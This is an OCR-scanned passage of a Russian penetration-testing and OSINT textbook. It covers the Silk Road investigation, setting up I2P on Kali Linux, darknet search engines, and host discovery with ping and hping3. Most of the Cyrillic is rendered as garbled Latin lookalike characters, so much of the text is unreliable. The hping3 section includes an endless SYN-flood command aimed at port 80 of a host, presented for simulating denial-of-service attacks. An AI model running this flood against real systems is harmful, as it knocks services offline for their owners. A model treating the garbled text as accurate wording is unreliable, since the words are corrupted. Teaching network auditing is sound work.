Apect Pocca YiabbpuxTa craii pesyabraToM AJauTeabHoro paccaegoanus FBI (De-
JEPaIbHOTO OIOPO pacceJOBaHNi ), KOTOPOE JJIUIOCH OKOJIO BYX JieT. B xoze pac-
cJeJ0BaHnd areHThbl FBI ncnonpsoBann Pa3/IndYHbIE METO/IbI, B TOM YMCJI€ CJICANTN
3a 9JIEKTPOHHOI II0YTOI 11 KOMMYHHUKALUSIMU YIbOPUXTA, a TAK/KE B3JIaMbIBAJIM €I0
CepBEPBHI.
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B xoze paccieoBanus ObLIO yCTaHOBJIEHO, 4TO YALOPUXT Kak agMunancTpatop Silk
Road xoHTpOIMpOBa BeG-CaliT, r/ie MPOIaBaIICh HeJIeraJbHbBIE TOBAPBI U YCIYTH —
HAPKOTHUKH, Opy:Kue U (hanbinuBbie J0KyMeHTbl. OH OBLT TaKKe OOBUHEH B TIOJICTPE-
KaTeJILCTBE K yOMHCTBY M OpraHM3aliy MPECTYIIHBIX CTOBOPOB.

Vab6puxra apectoBaau B 6ubnnoreke B Can-DpaHIncKo, Tie OH THITAICA 32T
B Silk Road, ncmonb3ys HelrraTHbIe CpeACTBa CBsI3U. Bo BpeMst apecTa ero HoyTOyK
M3DBSIIN, UTO TTO3BOJTNI0 areHTaM FBI mosyunTs 1omosHnTeIbHbIe T0Ka3aTeThCTBa
npotus Hero. B 2015 roy Poce YbOpuxT 6611 IPUTOBOPEH K MOKM3HEHHOMY 3aKJITO-
yeHnio HGe3 TIpaBa Ha YCIOBHO-I0CPOUHOE 0CBOOOsKAeHNE. ETO a/iBOKATHI MBITANCH
OCTIOPUTbH TIPUTOBOP, HO HE TOOUIINCH yCIIeXa.

Arentol FBI ncnosib3oBaiu pasinyHbie METOABI M TEXHOJIOTUH, YTOOBI HAWTH 1 ape-
croBath Pocca YiabOpuxra.

® AHaIM3 JOKYMEHTOB U MeTaJaHHbIX. AreHTbl FBI uayunian muosxecrso z10-
KyMEHTOB U MeTajlaHHbIX, cBsa3aHHbIX ¢ Silk Road u Poccom Yan6puxrom. Onu
AHATUBUPOBAIIU (DOPYMBI, DJIEKTPOHHbIE COOOIIEHUS U IPYTUE UCTOUHUKH, YTOObI
HOJIyYnTh MHMOPMALIUIO 0 JII0AX, cBasanHbIX ¢ Silk Road.

e Baiom cepsepos. FBI B3iomano HeCKoOJIbKO cepBepoB, ceaszanubix ¢ Silk Road,
4TOOBI MOJIYYUTH JOCTYT K Oase JaHHBIX caiiTa 1 apyroil nadopmarinu. OHu uc-
MOJIB30BAJU YSI3BUMOCTU B TPOTPAMMHOM 00€CTIEUEHUN CEPBEPOB, YTOODI TIOITY-
YUTb KOHTPOJIb HAJl HUMU U U3YYUTD JIESITENbHOCTD AIMUHICTPATOPA.

e Hcnoab3oBanue oHIaiiH-MapKepoB. Pocc YabOpuXT A0y CTUI ONUOKY, UCITOJb-
3y CBOW HACTOSIIMIN 9JIEKTPOHHBII a/[pec /1Jist OOIIEHHUST ¢ IPYTUMU JIIOJbMH, CBSI-
sannbiMu ¢ Silk Road. 1o gano FBI BO3MOKHOCT OTCJEUTD €T0 3JIEKTPOHHYO
MOYTY W IPYTHE OHJIANH-MapKEPHI.

e PaGorta nox npuxpbitieM. FBI pasmecTisio HecKkoIbKO cBonx areHtoB Ha Silk
Road moz mpukpsITHeM, 4TOObI HOJYYUTD JOCTYII K CAUTY U YCTAHOBHUTH CBSI3b
¢ Poccom Ynn6puxtom. OHM CMOTJIN YCTAHOBUTDH UAECHTUIHOCTD YILOPUXTA
U TIOJTYYUTD IOCTYTI K €70 3JIEKTPOHHOH MTOYTe U APYTOH NHMOPMAIIHL.

12p

I2P (Invisible Internet Project) — aHOHUMHasI CETh, TIO3BOJISIONIASI TIOTb30BATEISIM
oOMeHuBaThCsST HH(bOPMAIUeil, He pacKpbIBast cBoero uctuHHOro [P-anpeca. OHa pa-
GoraeT mosI06HO APYTUM aHOHUMHBIM CETSIM, HO IMEET PSAJl OTJINYUH B apXUTEKType
u dyukimonasproct. [2P 6pima paspaborana Kak cBOGOIHO PACIPOCTPaHIEMOE
MPOTPAMMHOE 0OeCTIEUeH e U TTPEOCTABIISIET OH30BATESIM BO3MOKHOCTH 00TIATD-
€4 B paMKaxX CeTU yepe3 HecKOIbKO IIPUJIOKEHUI, BKJIIOYA 3JIeKTPOHHIYIO [104YTY,
4aThl, (HOPYMBI 1 IPYTUE CIYKODL.

B orsmmune ot Tor, KOTOPBIi NCTTOTB3YET y3JIbl (HOZBI) /1711 MAPIIPYTH3AIIMH TPpaduKa,
2P ncmiombayet Habop «POYTEPOB», KAKABIH M3 KOTOPBIX OTBEYAET 32 MapIIPyTH3a-
o Tpaduka MeXIY y3aami. ITo obeceanBaeT Hoee BHICOKYIO CTETEHb He30mac-
HOCTU U 3alIUTHl KOH(MUIEHIIMAIbHOCTH, TaK KaK y3Jibl He MOTYT y3HATb O JIPYTUX
y3JlaX ¥ TOYKaX Ha3HAYeHUs, C KOTOPBIMU OHU CBSI3AHBIL.
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I2P Taxke mpenocTaBisieT BOSMOKHOCTD 3amycka BeO-caiiToB B aHOHMMHOM ceTH
depe3 coGCTBEHHBIN TPOTOKOJ Eepsites. ITo MO3BOJISAET MOMH30BATENAM CO3/ABATH
U pa3MelaTb KOHTEHT, KOTOPbIiT HEBO3MOKHO OTCJIEANTD, UTO fesaet [2P momyosp-
HOM CPEIN KEeNAI0NINX 0CTaBAThCA AaHOHUMHBIMU TTOJIb30BATEICH.

Yeranosky 12P ma Kali Linux syurie Hagath ¢ 0GHOBIEHUST PETTO3UTOPUEB:
#apt update

Heob6xoxmnmo 1o6asuth HOBBII penosuropuii. Ciepyiomias koManaa Jo6aBUT HOBYIO
3amuch B (haiiu /etc/apt/sources.list.d u 3arpysut GPG-xioun:

#apt-add-repository ppa:i2p-maintainers/i2p

ITocsie ycTaHOBKY TIOBTOPHO OOHOBUM PETIO3UTOPUN:
#apt update

Haxkomnerr, unanbubrii mar — ycranoska [2P:
#apt install i2p

[Mocsie ycTaHOBKYM HEOOXOAUMO 3aIYCTUTD 12P-MapIIPyTU3aTOP, ECJAU OH eIlle He
3aIyIIeH:

$systemctl status i2p
$i2prouter statrt

ITocue yenemnmoi yeranosku 1o agpecy 127.0.0.1:7657 y Bac 10J5KHO OBITH JOCTYIIHO
OKHO KOH(HTyparuu i2p-mapipyrusaropa (puc. 3.56).

22 12P Router Console -

I Select Language
This project is supporied by volunteer
transiators on Transdfex. This helps keep
I2P accessible 1o everyone all over the
‘world. Thank you o all of the volunleers all
over the workd who help make 2P
accessble. M you would Bke to get

involved, please consider the [2P
translation eforts.

Please select your prelered language:

C—

(% skip setup ) LM]

Puc. 3.56. OKHO HayanbHON KOHMbUrypaumum MaplupyTusaTopa I12P
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Teneps He0GXOAMMO cKOHGUTYpHpoBaTh Firefox /st KOPPEKTHOI paboThI ¢ CeThio.
B narmem caryuae mapuipytusarop 12P 6yer paboTtaTh Kak IpoKcu-cepBep st 6pa-
yaepa. Otkpoiire nacrpoiiku Network Proxy B Firefox u ykasxure agpec 127.0.0.1 pst
HTTP- u HTTPS-coenuuenuti, mopt 4444 (puc. 3.57).

3 Settings

&) Firefox | aboutpreference

Kali Linux @ KaliTools [ Kali Docs ] Kali Forums @ Kali NetHunter & Exploit-DR % Google Hacking DB J| OffSec

Connection Settings

Configure Proxy Access to the Internet

| Port | 4444 |

Also use this proxy for HTTPS

E More fre

HTTPS Proxy | 127
SOCKS Host |

(D Automatic proxy configuration URL

Mo proxy for

Example: .mozilla.org, .n 192.168.1.0/24
Connections to localhost, 127.0.0.1/8, and 1 are never proxied.

| [ Do not prampt for authentication if password is saved

Help Cancel m

Puc. 3.57. HacTpoliku npokcu-cepsepa B Firefox

[Mocne HECTOXKHOI HACTPOMKY BaM CTaHET OCTYITHA Tpadrueckast KOHCOIb yIpaBJie-
HISE MapIIpyTusaTopoM (puc. 3.58). OGBIYHO HAYMHAIOIIIE TI0JIb30BATEN CTATKIBA-
1oTcs ¢ aByMs ipobemamu. Ilepsast — ato Hactpoiiku cetu, B Kali Linux daiiepsos
M0 YMOJTYAHUIO OTKJIIOUEH, & BOT HA JOMAIITHEM MapIIPyTU3aTOpe HYKHbIE TIOPTHI
MOTYT OBITh 3aKPbIThL. Bropas — cailT MoKeT ObITh HEIOCTYIIEH, [TOKA BbI He 100aBUTe
€T0 B a/[PECHYT0 KHUTY, 3TO MOKHO C/IeJIaTh B HACTPOMKAX poyTepa.

Mounck MHdopMaLUKM B TEMHOM CErMEHTE CETU

ITonck undopmarmu B DarkNet oTmyaercst oT TakoBOro B 00LIEA0CTYIIHOM CETMEH-
Te MHTepHeTa, HauMHasl ¢ TOro, YTO JJIs llepexo/ia Ha OoJiee TayOOKUI YPOBEHb BaM
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noTpedyercs CrelraiIbHoe MPOorpaMMHOe 0becIieueH e, U 3aKaHYMBast OTCYTCTBUEM
TPAJUITMOHHBIX TTIOMCKOBBIX cucTeM. MbI moctapaemcs npumeHuTb 1moaxo OSINT
K pabore ¢ gannbiMu u3 DarkNet.

%% 12P Rout

C @ 0 127.0.

Kall Linux @& Kall Tool (all Docs & Kall Forums ¥ Kall MetHunter = Expleit-DB = Google Hacking DB

I12P Router Console
Feb 28, 2023 Congratulations On Getilng 12P Installed!
‘Welcome lo IZPI Flease have patlence as |ZF bools up and Bnds peers.
. . . While you are walting, please adjust your ‘settings on the page.
Alsty o esan sl your brosas [ s e 9 prosy fo mach sopsiles Just eror 17,001 (o lecallosd) port 4444 s 2 hilp proxy info your eovwses
saMtings. D6 nat use BOCKE 107 his. Mors information can be found on 1he [P browser proxy setup page
‘Once you have a “shared clients” destinason listed on the kefi, please check out our FAQ.
Warslof: 2848413 Pioing yaur G chont 8 locallost:B568 and say b 10 1 an 8125
Uptime: 14 min
Bandwidth In/out
LT 026,196 Kepa
& Ming 0.1 122 Kilps
Tamk: 0.2370 52 KPps Applications
Ured: Z25KB/EISKE
§ Malwork: Firewalled m— mm ]
=& = L =
e 9 e )
- i 2 Ardreasbank Emall Hidden Eerviens Uanages Tesrenta Weh Server
Lecal Tunnels
& ahared chents @  |2P Community Sites
& ahared chemin (S4) @
Dew Fanm echelon ip Git Projeet Hasting B FAG 12F Farum
0 o 3\ ® e
12P Pastebin Muwine Planet 127 Peeject Wealte The Tin Hat
Configuration And Help
@ # Q A 4 m
Configure Bandwidth Configure Homepage Help Manage Pluging Foater Console

Pwuc. 3.58. MaHenb ynpasneHns MapLipyTM3aTopoM

C60p AaHHbIX U MOUCKOBbLIE CUCTEMbI

C paboT0ii 0OOGBIYHBIX TIOMCKOBBIX CHCTEM BbI YK€ 3HAKOMBI, HO BCE JK€ CTOUT HAIIOM-
HUTh, KaK IIPOUCXOJUT IIpoliecc cOopa JaHHBIX MOMCKOBLIMU cucTeMamiu. IlepBbiM
[IATOM SIBJISIETCSI TIOJIyYeHUEe OCHOBHBIX a/[PECOB, C KOTOPHIX TTOMCKOBbIE CUCTEMbI
HauHyT paboTy 1O aHAJIM3Y ¥ UHAEKCAIMU AaHHbIX. [lasee poOOThl aHATU3UPYIOT
cofiep;KaHne CTPAHUIIBI, U3BJIEKAIOT TUTIEPCCHITKY U TIOMEIIAIOT UX B OUepeb. 3a-
TeM IIPOILECC MTOBTOPSIETCS JIJIS BCEX JIEMEHTOB ouepeau. st MOMCKOBBIX poOOTOB
MOZKHO 3a/1aTh OFPaHUYEHME YPOBHA IJIyOUHBI IOUCKA WU JaKe OTPAHUYNUTh IOMCK
OIIpeIeIeHHOM TeMaTuKo. Takoll moaxon ObLT IIPUMEHeH 115l aHAIM3a U3BECTHOIO
MarasuHa 3arperieHHbIx ToBapoB u yeayr Silk Road. Paspaborunku 1ob6aBusim mo-
HCKOBOMY POOOTY (DYHKIIHMIO ay TeHTU(DUKAIIMN JIJIST TTOJIYYEHISI BO3SMOKHOCTH TIPO-
CMOTpa W aHaJIM3a 3aKPBITON YacTU calTa.
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E1te ouH mHTEPECHBIN MPOEKT, KOTOPHIH HAUMHAJICS KaK MOMCKOBASI CUCTEMA JIJISt
Tor, nasbiBaercst PunkSPIDER. 9ra paspaboTka ipuMevare/ibHa TeM, 4TO UMEeT He
TOJIBKO (DYHKIINU TOMCKOBOM CUCTEMbI, HO TAK;Ke MOKET OIPE/EesATh YSA3BUMOCTU
Ha CKaHUpPyeMbIX caiiTax. B JaHHBIF MOMEHT JIOCTYITHO TOJIBKO pacliupeHue /st
Gpaysepa.

Cuieryer yIoMsiHYTb O €llle OfHOU MHTePecHOI paspaboTke — mpoekTe Memex. 3a-
nadeil 9Toil MOMCKOBOI crucTeMbl ObLI He TOJBKO ¢O0p MHGOPMAIMH, HO 1 aHAIN3
COILYTCTBYIOIETO KOHTEKCTa. TakuM 00pasoM pa3padOTYMKU IIBITAIICH KaTerOPU-
3upoBaTh U aHaau3uposarh wHGopmanuio DarkNet. TToxoxas cucrema Gbuia pas-
paborana npu noauepxke Esporneiickoro Corosa u nasbiasach HOMER. 3azaueit
ATOM MOMCKOBOW CHCTEMBI TAKKe SIBJISLICS HE TOJBKO COOP THUIIEPCCHITIOK, HO 1 aHAJIH3
KOHTEKCTA, B KOTOPOM OHU HAXOJIUJTUCh.

N3-3a nmpupost DarkNet, ero CKpeITHOCTH OT TOCTOPOHHUX TJIa3, & TAKIKE YUUTHIBAST
TO, YTO MHOTHE CEPBUCHI He paboTaloT B ceTu 24,/7, 0ObIYHbIE IOUCKOBbIE CUCTEMbI He
WH/IEKCUPYTOT Takue caiTel. OJIHAKO, HECMOTPS Ha 9TO, BCE JKE €CTh HECKOIBKO PECyp-
COB, KOTOPBIE B3SJIH Ha ce0s1 3Ty HelrpocTyIo 3agauy. OfHON U3 caMbIX MOMYJISIPHBIX
nouckosbix cucrem g DarkNet asisercs DuckDuckGo, goctynnas B 06b14HOI
CETH U IIPU ATOM MMeIolas CBOi Onion-/loMeH. JTa IMOMCKOBAs CUCTeMa TO3UIU-
oHupyer cebs kak Ge3onacHas ISt ePCOHATBHBIX JAHHBIX, BE/Ib, 10 3asABICHUSAM
Pa3pabOTYNKOB, OHA HE XPAHUT HH(OPMAIIHIIO, TIO3BOJISIIONILYIO eaHOHMMU3UPOBAThH
noJib3oBaresist. PekoMeryemM oOpaTuTh BHUMaHUE Ha MOUCKOBYIO cricteMy Ahmia,
KOTOpast TaKsKe JJOCTYITHA ¥ B 00bIYHOI ceTn, u B Tor. B ee 6ase JaHHBIX COAEPIKUTCS
oko10 5000 caiitoB DarkNet, ogHako oHa MOKET (DUIBTPOBATH PE3YJIBTATHI BbIAAYM.
B DarkNet cyiiiecTByOT U KaTajoru pecypcoB, He TTO/[BEPKEHHbIX [[eH3YPE, HATIPH-
mep The Hidden Wiki u Tor Links.
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Ecin B npeapiayineii riase Mbl cobupas KHGOPMAIIMIO O 1eJIeBON OpraHu3aiim
TOJIBKO M3 OTKPBITBIX UICTOYHUKOB, TO B JIAHHOM Pa3/ieJie TiepeiijieM HEeMOCPeICTBEHHO
K HOJIy4eHUI0 HH(GOPMALIUK OT PadOTAIONIMX CETEBBIX CEPBUCOB B €€ CETH.

Ha npezppiayiiem mmare Hamy gedicTBUS OBIIO TPAKTHYECKU HEBO3MOKHO OOHA-
PYJKUTH HU OJIHUM W3 MCIOJIBb3YEMBIX B IEJISAX MTPEAOTBPAIIEHUST aTaK M3BECTHBIX
WHCTPYMEHTOB, HO Terephb 0OIIeHNe ¢ CePBUCAMU HATIPSMYIO OCTATOUHO JIETKO
OOHAPYKUTb.

YuuTeiBast ckazaHHOE BBIIIE, YIEJUTE TIOBBIIIIEHHOE BHUMaHNe CBOEH aHOHUMHOCTH,
ecyv Barei 3ajiaueii sipisiercst mposeienne ayanta MC takum 06pazom, 94to6ur 06
aTOM He y3HaJl 1epconas ogena U'T. ITo MOXKHO cies1aTh ¢ IOMOIIBIO PA3JIMUHbBIX
mpokcu-cepsepos uiu takoro 110, kax Tor.

Orlpen,eneH ne aKTUBHbIX XOCTOB

Omnpejenenne akTUBHBIX XOCTOB [IOMOTaeT COKPAaTHTh BpeMsl, KOTopoe TpebyeTcst
IS IPOBENEHMs ayAUTa. XOPOIIO, €CJIU B CETU OT IIATH IO AECITH aIPECOB, a €C/IN
UX OT ABYX [0 Tpex Thicsta? Onpenenns akTUBHbIE XOCTEI ¥ CKOHIIEHTPUPOBABIIUCH
TOJIBKO Ha HUX, MBI MOKEM COKOHOMUTD GOJIBINOE KOJMYECTBO BPEMEHN M yMEHBIITUTD
006beM paboThbl.

MNpoTtokon ICMP

ITporokos ICMP (Internet Control Message Protocol), wiu riporokoJ yrpasJisiio-
IIMX COOOIIEHUI NHTEpHEeTa, ABJseTcst BeromoraTeabHbiM. ICMP MOKHO cpaBHUTH
C CHCTEMOM JIMAaTHOCTUKYM aBTOMOOWJIS: OHA He BJIMSET Ha TO, KaK MalIMHA €/IeT, HO
co0O0IIaeT BOAUTEIO, €CJIM YTO-TO UAET He Tak. Touno Tak ke ICMP miomoraer moJry-
YUTh IIEHHBIE JIAHHBIE TP OUCKE TPOOJIEM B CETH.
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ICMP wucniosbayercst st OTIPABKU cO00IIeHH T 06 ommrbKax U omnepamoHHOl
nH(GOpPMAIUN B CIydasiX, KOT/a 1eJIeBOH KOMIThIOTEP WU MapHIPyT HEJOCTYIIEH
WJIN KOT/Ia JTAHHBIE MTPEBBIMAIOT MAKCUMAJIbHBIN pa3Mep MakeTa, KOTOPBI MOXKHO
nepeaTh.

V3BecTHBINT MTHCTPYMEHT Ping, KOTOPBII NCIOIB3YETCs 71T TPOBEPKHU TOCTYITHOCTH
KOMIIbIoTepa B cetH, paboraer Ha ocnoBe ICMP: on ornpasisier ICMP-coobiienue
9X0-3aIpoca Ha 1eJIeBoil Komibiorep 1 okunaer ICMP-coobuienus sxo-oTBera.

Ping
Ytunnra ping — aT0 ceTeBOl UHCTPYMEHT /17151 TPOBEPKU JIOCTYITHOCTH yAQJIEHHOTO
xocTa B ceTr: oHa oTrpaniisgeT ICMP 9X0-3a1pochl 1 0:KUIAET 9X0-OTBETDL. YTUIIUTA

TaKyKe TTIOMOTraeT B USMEPEHNN BPEMEHHN OTKJINKaA (latency) 1 IIO3BOJIAET OIICHUTDH
YaCTOTY IMOTEPU IMMAKETOB MEKAY OTIIPAaBUTEJ/IEM U IIE€JIEBBIM XOCTOM.

[IprMeHUM 3Ty YTUIUTY JIJIs1 OlIpe/ieJIeHNsT aKTHBHBIX XOCTOB!

itsecbook@kali:~# ping google.com

PING google.com (142.250.74.174) 56(84) bytes of data.

64 bytes from arnllsl2-in-f14.1e100.net (142.250.74.174): icmp_seq=1 tt1=128
time=14.4 ms

64 bytes from arnllsl2-in-f14.1e100.net (142.250.74.174): icmp_seq=2 tt1=128
time=13.9 ms

64 bytes from arnllsl2-in-f14.1e100.net (142.250.74.174): icmp_seq=3 ttl=128
time=14.1 ms

64 bytes from arnllsl2-in-f14.1e100.net (142.250.74.174): icmp_seq=4 tt1=128
time=14.4 ms

~C

--- google.com ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3@06ms

rtt min/avg/max/mdev = 13.938/14.190/14.391/0.193 ms

Ha puc. 4.1 nokasan mpumep ceteBOro TpaduKa 1pu NCIOJb30BAHUN Ping. YTUINTA
nocbLaaer sampoc (request) 1 nojydaer orser (replay).

Ping — cranzapTHas yTUINTa, KOTOPas BXOAUT B cocTtas 060l OC. OnHako y gaH-
HOTO MeTojia ecTh oauH Hepoctatok: ICMP, Ha ocHoBe KoTOpOTO 1 paboTaer ping,
YaCcTO OKa3bIBaeTCs 3a0JI0KUPOBaH Ha ypoBHe (aitepBosia. B aTOM ciyuae, gaxe
€CJTF MBI TOYHO 3HAEM, YTO XOCT, HA KOTOPBII OTIIPABJISIOTCS 3aPOCHI, paboTaer
U K HEMY MOKHO TMOAKTIOUUTHCS U3 060N TOUKM MUDPa, He OY/IET OTBEYATH HA HTH
3aTPOCHL.

JlaHHYIO CUTYAIIIO0 MOKHO IIPOJIEMOHCTPUPOBATD Ha IpuMepe caiita vk.com:

itsecbook @kali:~# ping vk.com

PING vk.com (91.240.247.27) 56(84) bytes of data.

~C

--- vk.com ping statistics ---

5 packets transmitted, © received, 100% packet loss, time 4084ms
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‘ any - a *
Eile Edit View Go Capture Analyze Siatistics  Telephony Wireless JTools Help
r = — -~ =

ARI@ KFRRE £ ¢V IERDE
[I |!\p|1ly a display filter ... <Ctrl-f= -] +
M. Time | Bource | Destination |Pratocal« | Length | Info =
E 14 2.019785845  142.250.74.174 192.168.91.128 ICHP 108 Echo (ping) reply  id=Bxdeaa, seq=3

12 2.0084943511 192.168.91.128 142.250.74.174 ICHP 180 Echo (ping) request id=8xdeaa, seq=2/

16 1.618975738  142.250.74.174 192.168.91.128 ICHP 180 Echo (ping) reply id=Bxdean, seq=2

9 1.804381282 192.168.91.128 142.250.74.174 ICHP 180 Echo (ping) request id=@xdeaa, seg=2

6 0.0175056823  142.250.74.174 192.168.91.128 ICHP 108 Echo (ping) reply  id=Bxdean, seq=1

BB38TA5TA 168.91. .258.74.174 188 Echo (ping) dd=Bxdean, s

168 2.823425768 192.168.91.2 192.168.91.128 DHS 128 Standard guery response 8x92357 PTR 174

15 2.628208773 192.168.91.128 192.168.91.2 DHS 89 Standard guery 8x9357 PTR 174.74.280.
_‘LI__‘\.?_1_R??FM1.1 28162 18R A1 .3 107 _1RA 01 128 nue. AR _'-'.I_ululur|I_lull-r.w_rII-.‘:|||||||:|-_HI|JH.LP.'|'.D_IJ’ T =
» Frame 5: 180 bytes on wire (880 bits), 180 bytes captured (| 0900 06 64 80 61 60 68 60 Gc 29 84 31 86 60 60 08 08
v Linux cooked capture vl | BE1E 45 BE BE 54 a3 LHE 4R BE 40 B1 a1 7 cB ad Sh HE E--

v Internct Protocol Version 4, Sre: 192.188.91.128, Dst: 142/ 0020 Be fa 4a ae 00 GO 6a 64 Je aa 00 01 83 9e 4f 64 .-J
+ Internct Control Message Protocol | 85360 ©O 66 6O GO ad fa G2 60 OO GO A0 BB 18 11 12 13 ...
| BE4n 14 15 16 17 18 18 1a 1h ¢ 1d 1e 1f #R 21 2@ o3 KK}

| 0050 24 25 26 27 26 29 2a 2b 2c 2d 2e 2f 3@ 31 32 33 %

£O60 34 35 38 37 456,

A] I !’.:4! I [k
@7 ._AnyQ1NS31peapng Packets: 16 - Displayed: 16 (100.0%) - Dropped: 0 {0.0%)  Profile: Default

Puc. 4.1. 3anucb ceteBoro Tpaduka Bo BpeMsi paboThl ping

XOoTs K JAaHHOMY CepBePY MOKET HOAKIIOUUTHCS 000 TT0JIb30BATE/b, UCIOJIb3YST
443-11 IOpT, OH He OTBevYaeT Ha ping.

ITo ymosuanuio B Linux ping Gyzaer 1ochLiaTh MakeTbl 10 TeX HOop, IOKa Bbl ee He
ocraHoBuTe, a B Windows — 1oier ToJbKo 4eTbipe pasa.

Ha camom nene ping o6agaer 10CTaTOYHO OTPAaHUYEHHON (DYHKITMOHATEHOCTHIO.
Hanpuwmep, oHa MoxkeT paboTaTh TOJIBKO C OJIHIM XOCTOM, a 3HAYUT, YTOOBI TPOCKA-
Huposath 500 X0cTOB, BaM Hy KHO Oy /et 3amyctuth ee 500 pas. [Toatomy paceMoTpum
6oJiee nHTEpPECHYIO yTHAUTY hping3.

Hping3

Hping3 — 310 MOUTHBIN NHCTPYMEHT KOMAH/{HOH CTPOKH, KOTOPBIN MOXKHO OTTHCATh
KaK yIy4IIEHHYIO BEPCHUIO KJIACCUYECKO YTHIUTHI Ping O 3HAYUTEIBHO OOITBITHM
KOJIM4eCTBOM (DYHKIIUIA.

Bwmecrto poctoro otnpasierust [CM P-3ammpocoB i1t TpOBEPKH JOCTYITHOCTH XOCTa
hping3 MoskHO HacTpouTh A7 oTIIpaBKu JE0ObIX THII0B TCP/IP-1akeToB. JT10 fesaeT
ee I0CTaTOYHO TTOJIE3HBIM MHCTPYMEHTOM KaK s criertaauctoB mo VB, tak u s
06BIYHBIX aMIHUCTPATOPOB. C momotibio hping3 BbI MOXKETE MMUTHPOBATDH aTaKH,
POBEPSITH MIPABUJIA MEXKCETEBOTO IKPAHA, TECTHUPOBATH KAYECTBO CETEBBIX COEIUHE-
HUH ¥ JIa’ke CKAHUPOBATH MOPTHL.

Hping3 MOXKHO MCTIOJIB30BATD JIJISI BHISIBJEHUS] aKTUBHBIX XOCTOB B CETH C TTIOMO-
nipio ICMP axo-3anpocos ananornyno yrusute ping. [lommyctum, y Bac ectb ceTh
192.168.1.0/24 u BBl XOTUTE HAUTU BCe aKTUBHBIE XOCThI B aTOH ceTu. [Ipumenure
CTTETYIONIYI0 KOMaH/TY:

hping3 -1 -c 1 -I eth@ --rand-dest --base-ip 192.168.1.0 --dest-ip 192.168.1.255
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Wcrnosnb3oBaHHbIE TTapaMETPBbI:
e -1 o3Havaer otpaBky ICMP axo-3ampocos;
® -c 1yKasblBaer, 4To OyEeT OTIIPABJIEH TOJbKO OAMH MAKET Ha KasK bl XOCT;

e -I ethe ykasbiBaeT unrepdeiic, KOTOpbli OyIeT UCIOAb30BATHCS /IS OTIIPABKA
ITaKETOB,;

® --rand-dest 03Haydaer, YTO MMAKETHI 6y,Z[YT OTIIPABJIATBHCA B CJIy‘-IafIHOM ITOPAAKE;]

® --base-ip 192.168.1.0 u --dest-ip 192.168.1.255 oupe/esdioT JUala3oH
IP-azipecoB, KOTOpPbIE OYyT CKAHUPOBATHCSL.

Ita xomanza ornpasut ICMP axo-3anpoc wa xkaxmsiii [P-anpec B cetn n BeiBeneT
OTBETHI, I03BOJISIST BAM OIIPEIeJIUTh, KAKKEe XOCThI aKTUBHBI. BBI Tak:ke MokeTe nc-
MOJIb30BATh JIAHHYIO YTHJIUTY I UMUTainu DoS-araxku, oTipasisiss GOJIbIIOE KO-
JINYECTBO TAKEeTOB Ha IleJieBoit XocT. Hampumep, cieayionas KOManaa OTIpasJisier
6eckoneunyio ceputo TCP SYN-nakeros na mopt 80 xocra ¢ IP-agpecom 192.168.1.1:

hping3 --flood -S 192.168.1.1 -p 80

B aTom npumepe mapamerp --flood obecrieunBaeT GhICTPYIO OTIPABKY MAKETOB, -S
o3navaet ucroab3oBanre TCP/SYN-makertos, a -p 80 ykazeiBaeT Ha opt 80.

CkaHMpoBaHWe NopToB

CKaHI/IpOBaHI/Ie IIOpTOB — Ba’KHBIN TI1aT B Ipoiiecce TeCTupoBaHMA Ha ITIPOHUKHOBE-
Hume, KOTOprfI IIOMOraeT crienraJiucTaM I1OHATb, KaKK1e C]Iy>K6bI pa60Ta10T Ha L[e]IeBOfI
CHUCTEME U, CJIeJOBATEJ/IbHO, OIIPEAECJIUTD IIOTEHIINAJIbHbIE BEKTOPDI JIJIA JI&JIbHGﬁH.[HX
aTakK.

CereBble TIOPTBI MOKHO TIPEJICTaBUTH KaK ABEPU UJIN OKHA B JIOME — 3TO CIIeITnalb-
HbI€ «BXO/bI» N «BbIXO/bI», UEPE3 KOTOPLIE /TaHHbIE MOTYT BXO/IUTb B KOMIIbIOTED
1 BBIXOJUTDH U3 HETO IIpU O6I_HGHI/II/I B CeTn. CKaHI/IpOBaHI/Ie ITOPTOB B 9TOM CJiy4yae —
9TO OCMOTP 3/IaHMA B IMTOMCKaX OTKPBITHIX WJIN HE3alTUIIEHHbIX [[Bepef/i 1 OKOH, KO-
TOPbIE BIIOCJIEACTBUN 6y,/1yT HCITIOJIb30OBAaHbI /IJII TPOHUKHOBEHNA.

Kasxaprii mopt umeet yHuKkanbHbIi HoMep oT 0 710 65 535. TepMuH «X0pOIIO U3BECT-
HbIE TIOPThI» MCIOJIb3YeTCs 71T Onrcanust moptoB ¢ Homepamu ot 0 1o 1023. Ot
MOPTHI 3aPe3ePBUPOBAHBI /I UCIIOJIB30BAHUA ONPE/eJeHHBIMU OOIIETPUHATBIMK
MPOTOKOJIAMU U yCJIyraMu B cetTu. Beb-Tpaduk, Harpumep, 00bIYHO TPOXOIUT Yepes3
nopt 80 (HTTP) nnu 443 (HTTPS).

Yarure, 4TO CIAUITKOM aKTHBHOE CKAHUPOBAHUE F€HEPUPYET HOCTATOUHO MHOTO
TpaduKa, a B HEKOTOPBIX CJAYUasX Jaske MOJKET BBI3BATh OTKa3 B 0OCITY;KUBAHUH, TEM
cambIM HaBpeauB 1eseBoit C. Takske MOMHUTE, YTO ITPU aKTUBHOM CKAaHUPOBAHUN
HOPTOB BbI PUCKYeTe ObITh 3a0JI0KUPOBAHHBIMU CUCTEMOI 00HAPY/KEHM BTOPKEHUI
U ¢ 9TOTO MOMEHTA JIasThbHeHTIIee TIPOBeieH e ayanTa GyieT 3aTpyaHeHo. Beerma mima-
HUPYITE CBOU IIATH; HEe CTOUT 3aITyCKATh MOJHOE CKAaHUPOBaue 1o BeceM 65 535 1op-
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TaM, eCJIU BaM HeOOXOAMMO HAUTH MIOYTOBbIE CEPBEPLI OPraHU3aIUK, — JJIS 9TOTO
Ha/I0 TIPOCKaHUPOBATh JIHIb opTh 25, 110, 993, 995, 465 u 587.

Wmeiite B BUJLY, 4TO B HEKOTOPBIX CTPAHAX AaKTUBHOE CKAHUPOBAHUE TTOPTOB SIBJISIETCS
npaBoHapyleHueM. Beeria nosydaiite HeOOXOMMOE PaspelieHne OT BJIAIE/IbIEB
nenesou NC.

CkaHuposaHue TCP

Cxanuposanue 11opTos TCP 0CHOBaHO Ha «TPEXCTOPOHHEM PyKooKaTum» (three-
way handshake). Do nporecc, ycranaBauBaouuii coeiuHeHe MKy JBYMs
ycrpoiictBamu B cetud. OH BaKeH /I COTIACOBAHUS HAYATBHBIX 3HAYEHUH CUCTIYMKOB
